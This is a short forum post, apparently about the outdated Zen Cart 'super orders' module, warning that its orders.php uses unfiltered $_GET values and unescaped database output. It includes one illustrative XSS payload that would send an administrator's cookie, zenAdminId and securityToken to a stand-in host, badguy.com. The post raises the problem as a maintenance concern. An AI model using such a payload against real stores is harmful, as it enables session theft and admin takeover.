What I think is that super orders is in desperate need to be brought up to date, the orders.php dates back to early 2006, and there are multiple uses of unfiltered $_GET values as well as displaying values striaght out of the db, without filtering the content e.g. someone puts in a memo field

Code:
<script>document.images[0].src=http://badguy.com?document.cookie+' '+zenAdminId+' '+securityToken</script>
That's just a theoretical example, it doesn't work but if an administrator were to look at a COD order then it would secretly post the administrator's session information through to badguy.com, super orders is littered with XSS vulnerabilities. I may have time in a few weeks, but really there needs to be a fulltime volunteer. (I already maintain a couple of modules).

Philip.